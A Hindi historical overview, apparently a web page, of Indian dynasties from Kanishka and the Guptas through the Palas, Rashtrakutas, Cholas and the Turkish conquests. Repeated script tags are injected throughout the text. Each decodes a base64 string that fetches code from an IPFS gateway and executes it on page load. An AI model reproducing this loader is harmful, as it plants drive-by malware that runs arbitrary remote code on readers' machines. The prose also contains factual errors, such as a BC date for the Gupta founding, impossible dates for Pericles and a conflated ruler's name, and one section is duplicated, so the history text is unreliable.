इस वंश का सबसे प्रसिद्ध राजा कनिष्क (लगभग 120-144 ई.) था, जिसकी राजधानी पुरुषपुर अथवा पेशावर थी। उसने बौद्ध धर्म ग्रहण कर लिया और अश्वघोष, नागार्जुन तथा चरक जैसे भारतीय विद्वानों को संरक्षण दिया। कुषाणवंश का अज्ञात कारणों से तीसरी शताब्दी के मध्य तक पतन हो गया। इसके बाद भारतीय इतिहास का अंधकार युग आरम्भ होता है। जो चौथी शताब्दी के आरम्भ में गुप्तवंश के उदय से समाप्त हुआ।

इन्हें भी देखें: राबाटक लेख, कुषाण, कनिष्क, कम्बोजिका एवं कल्हण<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गुप्त

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वराह अवतार भित्ति मू्र्तिकला, गुप्त काल, उदयगिरि गुफ़ाएँ

लगभग 320 ई. पू. में चन्द्रगुप्त ने गुप्तवंश को प्रचलित किया और पाटलिपुत्र को फिर से अपनी राजधानी बनाया। गुप्त वंश में एक के बाद एक चार महान शक्तिशाली राजा हुए, जिन्होंने सारे उत्तरी भारत में अपना साम्राज्य विस्तृत कर लिया और दक्षिण के कई राज्यों पर भी अपना प्रभुत्व स्थापित किया। उन्होंने हिन्दू धर्म को राज्य धर्म बनाया, बौद्ध धर्म और जैन धर्म के प्रति सहिष्णुता बरती और ज्ञान-विज्ञान, साहित्य, कला, वास्तुकला और चित्रकला की उन्नति की। इसी युग में कालिदास, आर्यभट्ट तथा वराहमिहिर हुए। रामायण, महाभारत, पुराणों तथा मनुसंहिता को भी इसी युग में वर्तमान रूप प्राप्त हुआ। चीनी यात्री फ़ाह्यान ने 401 से 410 ई. के बीच भारत की यात्रा की और उसने उस काल का रोचक वर्णन किया है। उसका मत है कि उस काल में देश में पूरा रामराज्य था। स्वाभाविक रूप से गुप्त युग को भारतीय इतिहास का 'स्वर्णयुग' माना जाता है और उसकी तुलना एथेन्स के परीक्लीज युग से की जाती है। (पेरीक्लीज (लगभग 492-529 ई. पू.) एथेन्स का महान राजनेता तथा सेनापति था। उसके शासनकाल (460-429 ई. पू.) में एथेन्स उन्नति के शिखर पर पहुँच गया)। आंतरिक विघटन तथा हूणों के आक्रमणों के फलस्वरूप छठी शताब्दी में गुप्त वंश का पतन हो गया। परन्तु सातवीं शताब्दी के प्रारम्भ में हर्षवर्धन ने एक दूसरा साम्राज्य खड़ा कर दिया, जिसकी राजधानी कन्नौज थी। यह साम्राज्य सारे उत्तरी भारत में विस्तृत था। दक्षिण में चालुक्य राजा पुलकेशी द्वितीय ने उसका साम्राज्य नर्मदा तट से आगे बढ़ने से रोक दिया था। चीनी यात्री हुएनसांग उसके राज्यकाल में भारत आया था और उसने अपनी यात्रा वर्णन में लिखा है कि हर्षवर्धन बड़ा प्रतापी और शक्तिशाली राजा है। वह 646 ई. में निस्संतान मर गया और उसके बाद सारे उत्तरी भारत में फिर से अव्यवस्था फैल गयी।

सम्राट मिहिर भोज की प्रतिमा, अक्षरधाम मंदिर, दिल्ली

मध्यकालीन भारत 1

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तीन साम्राज्यों का युग (8वीं - 10वीं शताब्दी)

सात सौ पचास और एक हज़ार ईस्वी के बीच उत्तर तथा दक्षिण भारत में कई शक्तिशाली साम्राज्यों का उदय हुआ। नौंवीं शताब्दी तक पूर्वी और उत्तरी भारत में पाल साम्राज्य तथा दसवीं शताब्दी तक पश्चिमी तथा उत्तरी भारत में प्रतिहार साम्राज्य शक्तिशाली बने रहे। राष्ट्रकूटों का प्रभाव दक्कन में तो था ही, कई बार उन्होंने उत्तरी और दक्षिण भारत में भी अपना प्रभुत्व क़ायम किया। यद्यपि ये तीनों साम्राज्य आपस में लड़ते रहते थे तथापि इन्होंने एक बड़े भू-भाग में स्थिरता क़ायम रखी और साहित्य तथा कलाओं को प्रोत्साहित किया।

इस युग की एक और महत्त्वपूर्ण बात राज्य और धर्म के बीच सम्बन्ध है। इस युग के कई शासक शैव और वैष्णव और कई बौद्ध और जैन धर्म को मानने वाले थे। वे ब्राह्मणों, बौद्ध बिहारों और जैन मन्दिरों को उदारतापूर्वक दान देते थे, लेकिन वे किसी भी व्यक्ति के प्रति उसके धार्मिक विचारों के लिए भेदभाव नहीं रखते थे और सभी मतावलंबियों को संरक्षण प्रदान करते थे। राष्ट्रकूट नरेशों ने भी मुसलमानों तक का स्वागत किया और उन्हें अपने धर्म प्रचार की स्वीकृति दी। साधारणतः कोई भी राजा धर्मशास्त्रों के नियमों तथा अन्य परम्पराओं में हस्तक्षेप नहीं करता था और इन मामलों में वह पुरोहित की सलाह पर चलता था। लेकिन इससे यह नहीं समझा जाना चाहिए कि पुरोहित राज्य के कार्यों में हस्तक्षेप करता था अथवा राजा पर उसका किसी प्रकार का दबाव था। इस युग के धर्मशास्त्रों के महान व्याख्याकार मेधतिथि का कहना है कि राजा के अधिकार व्यंजित करने वाले स्रोत वेद सहित धर्मशास्त्रों के अलावा 'अर्थशास्त्र' भी है। उसका 'राजधर्म' अर्थशास्त्र में निहित सिद्धांतों के अनुसार होना चाहिए। इसका वास्तविक अर्थ यह था कि राजा को राजनीति और धर्म को बिल्कुल अलग-अलग रखना चाहिए और धर्म को राजा का व्यक्तिगत कर्तव्य समझा जाना चाहिए। इस प्रकार उस युग के शासकों पर न तो पुरोहितों और न ही उनके द्वारा प्रतिपादित धर्म-क़ानून का कोई प्रभाव था। इस अर्थ में हम कह सकते हैं कि उस युग में राज्य मूलतः धर्म निरपेक्ष थे।

इन तीनों साम्राज्यों में राष्ट्रकूट साम्राज्य सबसे अधिक दीर्घजीवी रहा। यह न केवल अपने समय का सबसे शक्तिशाली साम्राज्य था, वरन इसने आर्थिक तथा सांस्कृतिक मामलों में उत्तर और दक्षिण भारत के बीच सेतु का कार्य किया।

पाल साम्राज्य

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हर्ष के समय के बाद से उत्तरी भारत के प्रभुत्व का प्रतीक कन्नौज माना जाता था। बाद में यह स्थान दिल्ली ने प्राप्त कर लिया। पाल साम्राज्य की नींव 750 ई. में 'गोपाल' नामक राजा ने डाली। बताया जाता है कि उस क्षेत्र में फैली अशान्ति को दबाने के लिए कुछ प्रमुख लोगों ने उसको राजा के रूप में चुना। इस प्रकार राजा का निर्वाचन एक अभूतपूर्व घटना थी। इसका अर्थ शायद यह है कि गोपाल उस क्षेत्र के सभी महत्त्वपूर्ण लोगों का समर्थन प्राप्त करने में सफल हो सका और इससे उसे अपनी स्थिति मज़बूत करन में काफ़ी सहायता मिली।

राष्ट्रकूट साम्राज्य

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जब उत्तरी भारत में पाल और प्रतिहार वंशों का शासन था, दक्कन में राष्टूकूट राज्य करते थे। इस वंश ने भारत को कई योद्धा और कुशल प्रशासक दिए हैं। इस साम्राज्य की नींव 'दन्तिदुर्ग' ने डाली। दन्तिदुर्ग ने 750 ई. में चालुक्यों के शासन को समाप्त कर आज के शोलापुर के निकट अपनी राजधानी 'मान्यखेट' अथवा 'मानखेड़' की नींव रखी। शीघ्र ही महाराष्ट्र के उत्तर के सभी क्षेत्रों पर राष्ट्रकूटों का आधिपत्य हो गया। गुजरात और मालवा के प्रभुत्व के लिए इन्होंने प्रतिहारों से भी लोहा लिया। यद्यपि इन हमलों के कारण राष्ट्रकूट अपने साम्राज्य का विस्तार गंगा घाटी तक नहीं कर सके तथापि इनमें उन्हें बहुत बड़ी मात्रा में धन राशि मिली और उनकी ख्याति बढ़ी। वंगी (वर्तमान आंध्र प्रदेश) के पूर्वी चालुक्यों और दक्षिण में कांची के पल्लवों तथा मदुरई के पांड्यों के साथ भी राष्ट्रकूटों का बराबर संघर्ष चलता रहा। इन्हें भी देखें: एलोरा की गुफ़ाएं<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गुर्जर प्रतिहार राजवंश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इतिहास के अनुसार 5वी सदी में भिन्नमाल गुर्जर साम्राज्य की राजधानी थी तथा इसकी स्थापना गुर्जरो ने की थी। चीनी यात्री ह्वेन त्सांग अपने लेखो में गुर्जर साम्राज्य का उल्लेख करता है तथा इसे kiu-che-lo बोलता है।[3]6 से 12 वीं सदी में गुर्जर कई जगह सत्ता में थे। गुर्जर प्रतिहार वंश की सत्ता कन्नौज से लेकर बिहार, उत्तर प्रदेश, महाराष्ट्र और गुजरात तक फैली थी। मिहिरभोज को गुर्जर-प्रतिहार वंश का बड़ा शासक माना जाता है। 12वीं सदी के बाद प्रतिहार वंश का पतन होना शुरू हुआ और ये कई हिस्सों में बँट गए। अरब आक्रान्ताओं ने गुर्जरो की शक्ति तथा प्रसाशन की अपने अभिलेखों में भूरि-भूरि प्रशंसा की है।[4]इतिहासकार बताते है कि मुग़ल काल से पहले तक राजस्थान तथा गुजरात, गुर्जरत्रा (गुर्जरो से रक्षित देश) या गुर्जर-भूमि के नाम से जाना जाता था।[5]अरब लेखकों के अनुसार गुर्जर उनके सबसे भयंकर शत्रु थे।[6]

राजपूत साम्राज्य

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गुर्जर प्रतिहार साम्राज्य के विघटन के बाद उत्तर भारत में कई राजपूत राज्यों की नींव पड़ी।। इनमें पंजाब का हिन्दूशाही राजवंश, अजमेर का चौहान वंश, कन्नौज का गहड़वाल वंश तथा मगध और बंगाल का पाल वंश था। दक्षिण में भी सातवाहन वंश के पतन के बाद इसी प्रकार सत्ता का विघटन हो गया। उड़ीसा के गंग वंश जिसने पुरी का प्रसिद्ध जगन्नाथ मन्दिर बनवाया, वातापी के चालुक्य वंश, जिसके राज्यकाल में अजन्ता के कुछ गुफ़ा चित्र बने तथा कांची के पल्लव वंश ने, जिसकी स्मृति उस काल में बनवाये गये कुछ प्रसिद्ध मन्दिरों में सुरक्षित है, दक्षिण को आपस में बांट लिया और परस्पर युद्धों में एक दूसरे का नाश कर दिया। इसके बाद मान्यखेट अथवा मालखड़ के राष्ट्रकूट वंश का उदय हुआ, जिसका उच्छेद पुर के चालुक्य वंश की एक नवीन शाखा ने कर दिया। जिसने कल्याणी को अपनी राजधानी बनाया। उसका उच्छेद देवगिरि के यादवों तथा द्वारसमुद्र के होयसल वंश ने कर दिया। सुदूर दक्षिण में चेर, पांड्य और चोल राज्यों का उदय हुआ, जिनमें से अंतिम राज्य सबसे अधिक चला। इस तरह सारे भारत में अनैक्य व्याप्त हो गया।

इन्हें भी देखें: पृथ्वीराज चौहान एवं पृथ्वीराज रासो<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चोल साम्राज्य नौवीं से बारहवीं शताब्दी

चोल साम्राज्य का सिक्का जो श्रीलंका में मिला

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चोल साम्राज्य का अभ्युदय नौवीं शताब्दी में हुआ और दक्षिण प्राय:द्वीप का अधिकांश भाग इसके अधिकार में था। चोल शासकों ने श्रीलंका पर भी विजय प्राप्त कर ली थी और मालदीव द्वीपों पर भी इनका अधिकार था। कुछ समय तक इनका प्रभाव कलिंग और तुंगभद्र दोआब पर भी छाया था। इनके पास शक्तिशाली नौसेना थी और ये दक्षिण पूर्वी एशिया में अपना प्रभाव क़ायम करने में सफल हो सके। चोल साम्राज्य दक्षिण भारत का निःसन्देह सबसे शक्तिशाली साम्राज्य था। अपनी प्रारम्भिक कठिनाइयों पर विजय प्राप्त करने के बाद क़रीब दो शताब्दियों तक अर्थात बारहवीं ईस्वी के मध्य तक चोल शासकों ने न केवल एक स्थिर प्रशासन दिया, वरन कला और साहित्य को बहुत प्रोत्साहन दिया। कुछ इतिहासकारों का मत है कि चोल काल दक्षिण भारत का 'स्वर्ण युग' था।

भव्य मन्दिरों का निर्माण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आठवीं शताब्दी के बाद और विशेषकर दसवीं से बारहवीं शताब्दी के बीच का काल मन्दिर निर्माण कला का चरमोत्कर्ष माना जा सकता है। आज हम जिन भव्यों मन्दिरों को देखते हैं, उनमें से अधिकतर उसी काल में बनाये गए थे। इस काल की मन्दिर निर्माण कला की मुख्य शैली 'नागर' नाम से जानी जाती है। यद्यपि इस शैली के मन्दिर सारे भारत में पाए जाते हैं तथापि इनके मुख्य केन्द्र उत्तर भारत और दक्कन में थे। इन्हें भी देखें: खजुराहो एवं लिंगराज मन्दिर<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मध्यकालीन भारत 2

इस्लाम का प्रवेश

इस्लाम धर्म का प्रतीक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इस बीच 712 ई. में भारत में इस्लाम का प्रवेश हो चुका था। मुहम्मद-इब्न-क़ासिम के नेतृत्व में मुसलमान अरबों ने सिंध पर हमला कर दिया और वहाँ के ब्राह्मण राजा दाहिर को हरा दिया। इस तरह भारत की भूमि पर पहली बार इस्लाम के पैर जम गये और बाद की शताब्दियों के हिन्दू राजा उसे फिर हटा नहीं सके। परन्तु सिंध पर अरबों का शासन वास्तव में निर्बल था और 1176 ई. में शहाबुद्दीन मुहम्मद ग़ोरी ने उसे आसानी से उखाड़ दिया। इससे पूर्व सुबुक्तगीन के नेतृत्व में मुसलमानों ने हमले करके पंजाब छीन लिया था और ग़ज़नी के सुल्तान महमूद ने 997 से 1030 ई. के बीच भारत पर सत्रह हमले किये और हिन्दू राजाओं की शक्ति कुचल डाली, फिर भी हिन्दू राजाओं ने मुसलमानी आक्रमण का जिस अनवरत रीति से प्रबल विरोध किया, उसका महत्त्व कम करके नहीं आंकना चाहिए। इन्हें भी देखें: चंगेज़ ख़ाँ एवं महमूद ग़ज़नवी<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आर्थिक सामाजिक जीवन, शिक्षा तथा धर्म 800 ई. से 1200 ई.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इस काल में भारतीय समाज में कई महत्त्वपूर्ण परिवर्तन हुए। इनमें से एक यह था कि विशिष्ट वर्ग के लोगों की शक्ति बहुत बढ़ी जिन्हें 'सामंत', 'रानक' अथवा 'रौत्त' (राजपूत) आदि पुकारा जाता था। इस काल में भारतीय दस्तकारी तथा खनन कार्य उच्च स्तर का बना रहा तथा कृषि भी उन्नतिशील रही। भारत आने वाले कई अरब यात्रियों ने यहाँ की ज़मीन की उर्वरता और भारतीय किसानों की कुशलता की चर्चा की है। पहले से चली आ रही वर्ण व्यवस्था इस युग में भी क़ायम रही। स्मृतियों के लेखकों ने ब्राह्मणों के विशेषाधिकारों के बारे में बढ़ा-चढ़ा कर तो कहा ही, शूद्रों की सामाजिक और धार्मिक अयोग्यता को उचित ठहराने में तो वे पिछले लेखकों से कहीं आगे निकल गए।

संघर्ष का युग लगभग 1000 ई. से 1200 ई. तक

पश्चिम के साथ-साथ मध्य एशिया तथा उत्तर भारत में भी 1000 ई. तथा 1200 ई. के बीच तेज़ी के साथ परिवर्तन हुए। इन्हीं परिवर्तनों के परिणमस्वरूप इस काल के अन्त में उत्तर भारत में तुर्कों के आक्रमण हुए। नौवीं शताब्दी के अन्त तक अब्बासी ख़लिफ़ों का पतन आरम्भ हो गया था। उनका साम्राज्य अब छोटे-छोटे राज्यों में बँट गया था, जिन पर मुसलमान तुर्कों का शासन था। तुर्क, अब्बासी साम्राज्य में महल रक्षकों तथा पेशेवर सैनिकों के रूप में आए थे। लेकिन शीघ्र ही इतने शक्तिशाली बन गए कि नियुक्ति पर भी उनका अधिकार हो गया। जैसे-जैसे केन्द्रीय सरकार की शक्ति कम होती गई, प्रान्तीय शासक अपनी स्वतंत्रता की घोषणा करने लगे, यद्यपि कुछ समय तक इस पर एकता का पर्दा पड़ा रहा, क्योंकि सफल सरदारों को, जो किसी क्षेत्र में अपना अधिकार जमाने में सफल हो जाते थे, ख़लीफ़ा ही औपचारिक रूप से 'अमीर-उल-उमरा' (सेनापतियों का सेनापति) की पदवी देता था। ये शासक पहले 'अमीर' की, पर बाद में 'सुल्तान' की पदवी ग्रहण करने लगे।

एक के बाद एक साम्राज्य स्थापित होते गए और उतनी ही जल्दी उनका पतन होता गया। इन्होंने एक नयी प्रकार की युद्धनीति शुरू की। जिसमें प्रमुख भूमिका भारी अस्त्रशस्त्रों से लैस घुड़सवार सैनिकों की होती थी, जो तेज़ी से आगे-पीछे सरक सकते थे और घोड़े की पीठ से ही तीरों की बौछार कर सकते थे। यह लोहे की रक़ाबों से ही सम्भव था। 'लोहे की रक़ाबों' तथा एक नए तरह की 'लगाम' के कारण युद्धनीति में इस तरह का परिवर्तन आया। इसी बीच गुर्जर-प्रतिहारों के साम्राज्य के विघटन से उत्तरी भारत कई छोट-छोटे राज्यों में बंट गया जिनके शासकों के पास इस नई युद्ध नीति के महत्त्व को समझने तथा उसका मुक़ाबला करने के न तो साधन थे और न ही इच्छा थी।

महमूद ग़ज़नवी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यह यमीनी वंश का तुर्क सरदार ग़ज़नी के शासक सुबुक्तगीन का पुत्र था । उसका जन्म सं. 1028 वि. (ई. 971) में हुआ, 27 वर्ष की आयु में सं. 1055 (ई. 998) में वह शासनाध्यक्ष बना था । महमूद बचपन से भारतवर्ष की अपार समृद्धि और धन-दौलत के विषय में सुनता रहा था । उसके पिता ने एक बार हिन्दू शाही राजा जयपाल के राज्य को लूट कर प्रचुर सम्पत्ति प्राप्त की थी, महमूद भारत की दौलत को लूटकर मालामाल होने के स्वप्न देखा करता था । उसने 17 बार भारत पर आक्रमण किया और यहाँ की अपार सम्पत्ति को वह लूट कर ग़ज़नी ले गया था । उसके आक्रमण और लूटमार के काले कारनामों से तत्कालीन ऐतिहासिक ग्रंथों के पन्ने भरे हुए है ।

उत्तर भारत पर तुर्कों की विजय

पंजाब में ग़ज़नवियों के बाद हिन्दू और मुसलमानों के बीच दो विभिन्न प्रकार के सम्बन्ध स्थापित हुए। एक तो लूट की लालसा थी जिसके परिणाम स्वरूप महमूद के उत्तराधिकारियों ने गंगा घाटी और राजपूताना में कई बार आक्रमण किए। राजपूत शासकों ने इन आक्रमणों का डट कर मुक़ाबला किया और कई बार तुर्कों को पराजित भी किया। लेकिन अब तक ग़ज़नवी साम्राज्य की शक्ति क्षीण हो चुकी थी और तुर्कों को कई बार पराजित कर राजपूत शासक चैन से बैठ गए। दूसरे स्तर पर मुसलमान व्यापारियों को न केवल स्वीकृति दी गई वरन उनका स्वागत भी किया गया क्योंकि उनके माध्यम से मध्य और पश्चिम एशिया के साथ भारत के व्यापार को बहुत बढ़ावा मिलता था और इससे इन राज्यों की आय भी बढ़ती थी। इस कारण उत्तर भारत के कुछ नगरों में मुसलमान व्यापारियों की कई बस्तियाँ स्थापित हो गईं। व्यापारियों के पीछे-पीछे कई मुसलमान धर्म प्रचारक भी आए जिन्होंने यहाँ सूफ़ी मत का प्रचार किया। इस प्रकार इस्लाम और हिन्दू समाज तथा और धर्मों में सम्पर्क स्थापित हुआ और वे दोनों एक दूसरे से प्रभावित हुए। लाहौर, अरबी तथा फ़ारसी भाषा और साहित्य का केन्द्र बन गया। तिलक जैसे हिन्दू सेनापतियों ने ग़ज़नवियों की सेना का नेतृत्व किया। ग़ज़नवियों की सेना में हिन्दू, सिपाही भी भर्ती होते थे।

ये दोनों प्रक्रियाएँ बराबर जारी रहतीं, यदि इसी बीच मध्य एशिया की राजनीतिक स्थिति में एक बहुत बड़ा परिवर्तन न होता। बारहवीं शताब्दी के मध्य तक तुर्की क़बीलों के एक और दल ने, जो कुछ हद तक बौद्ध और कुछ हद तक विधर्मी था, सेलजुक तुर्कों को उखाड़ का। इस प्रकार जो स्थान रिक्त हुआ उसमें दो नयी शक्तियाँ - ख्वारिज़मी और ग़ोरी का उदय हुआ। ख्वारिज़मी साम्राज्य का आधार ईरान था तथा ग़ोरी साम्राज्य का आधार उत्तर-पश्चिम अफ़ग़ानिस्तान। ग़ोरी आरम्भ में ग़ज़नी के 'सामंत' थे, पर शीघ्र ही ये इस बोझ को उठा फेंकने में सफल हो गए। ग़ोरियों की शक्ति सुल्तान अलाउद्दीन के समय बहुत बढ़ी। उसे 'संसार को जलाने वाला' कहा जाता था। क्योंकि उसने भाइयों के साथ किए गए दुर्व्यवहार के बदले के रूप में सारी ग़ज़नी को जलाकर ख़ाक में मिला दिया था। ख्वारिज़मी शासकों के कारण ग़ोरी मध्य एशिया में अपने पाँव जमाने की इच्छा को पूरा नहीं कर सके। उन दोनों के बीच झगड़े की जड़; ख़ुरासान पर ख्वारिज़मी शाह ने अधिकार कर लिया। इससे ग़ोरियों के लिए भारत की ओर बढ़ने के अलावा और कोई रास्ता नहीं बचा था।

मुहम्मद बिन क़ासिम और महमूद ग़ज़नवी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मुइज्जुद्दीन मोहम्मद बिन क़ासिम की तुलना अक्सर महमूद ग़ज़नवी से की जाती है। योद्धा के रूप में महमूद ग़ज़नवी अधिक सफल था क्योंकि भारत अथवा मध्य एशिया के एक भी अभियान में वह पराजित नहीं हुआ। वह भारत के बाहर भी एक बड़े साम्राज्य पर शासन करता था। लेकिन हमें यह भी याद रखना चाहिए कि महमूद की अपेक्षा मुइज्जुद्दीन को भारत में और बड़े तथा संसंगठित राज्यों का सामना करना पड़ा। यद्यपि वह मध्य एशिया में उतना सफल नहीं हो सका, भारत में उसकी राजनीतिक उपलब्धियाँ और बड़ी थीं। उन दोनों को विभिन्न परिस्थितियों का सामना करना पड़ा। अतः इन दोनों की तुलना से कोई विशेष लाभ नहीं होगा। इसके अलावा भारत में राजनीतिक और सैनिक दृष्टि से इन दोनों का लक्ष्य कई बातों में बिल्कुल भिन्न था। इन दोनों में से किसी को भी इस्लाम में विशेष दिलचस्पी नहीं थी। यदि एक बार कोई शासक उनके प्रभुत्व को स्वीकार कर लेता तो उसे अपने क्षेत्र में शासन करने दिया जाता। केवल विशेष परिस्थितियों में उसके पूरे राज्य अथवा उसके किसी हिस्से को पूरी तरह अपने अधिकार में लेना आवश्यक हो जाता। महमूद तथा मुइज्जुद्दीन दोनों की सेनाओं में हिन्दू सैनिक और अधिकारी थे और दोनों में से किसी ने अपने स्वार्थों को सिद्ध करने तथा भारतीय शहरों और मन्दिरों की लूट को उचित ठहराने के लिए इस्लाम के नारों का सहारा लेने में हिचकिचाहट महसूस नहीं की। पन्द्रह वर्षों की छोटी अवधि में उत्तर भारत के प्रमुख राज्यों ने तुर्की सेनाओं के सामने घुटने टेक दिए। इसके कारण भी जानना आवश्यक है। यह एक नियम के रूप में स्वीकार किया जा सकता है कि एक देश दूसरे से तभी पराजित होता है जब वह सामाजिक और राजनीतिक दृष्टि से कमज़ोर पड़ गया हो तथा अपने पड़ोसियों की तुलना में आर्थिक और सैनिक रूप से पीछे पड़ गया हो।

भव्य मन्दिरों का निर्माण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आठवीं शताब्दी के बाद और विशेषकर दसवीं से बारहवीं शताब्दी के बीच का काल मन्दिर निर्माण कला का चरमोत्कर्ष माना जा सकता है। आज हम जिन भव्यों मन्दिरों को देखते हैं, उनमें से अधिकतर उसी काल में बनाये गए थे। इस काल की मन्दिर निर्माण कला की मुख्य शैली 'नागर' नाम से जानी जाती है। यद्यपि इस शैली के मन्दिर सारे भारत में पाए जाते हैं तथापि इनके मुख्य केन्द्र उत्तर भारत और दक्कन में थे।

पृथ्वीराज चौहान और ग़ोरी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

फ़ारस तथा पश्चिम एशिया के दूसरे राज्यों की तरह मुसलमानों को भारत में शीघ्रता से सफलता नहीं मिली। यद्यपि सिंध पर अरब मुसलमानों का शीघ्रता से क़ब्ज़ा हो गया, परन्तु वहाँ से वे लगभग चार शताब्दियों तक आगे नहीं बढ़ पाये। जब मुइज्जुद्दीन मुहम्मद मुल्तान और उच्छ पर अधिकार करने की चेष्टा कर रहा था, एक चौदह साल का लड़का, पृथ्वीराज अजमेर की गद्दी पर बैठा। पृथ्वीराज के बारे में कई कहानियाँ मशहूर हैं।

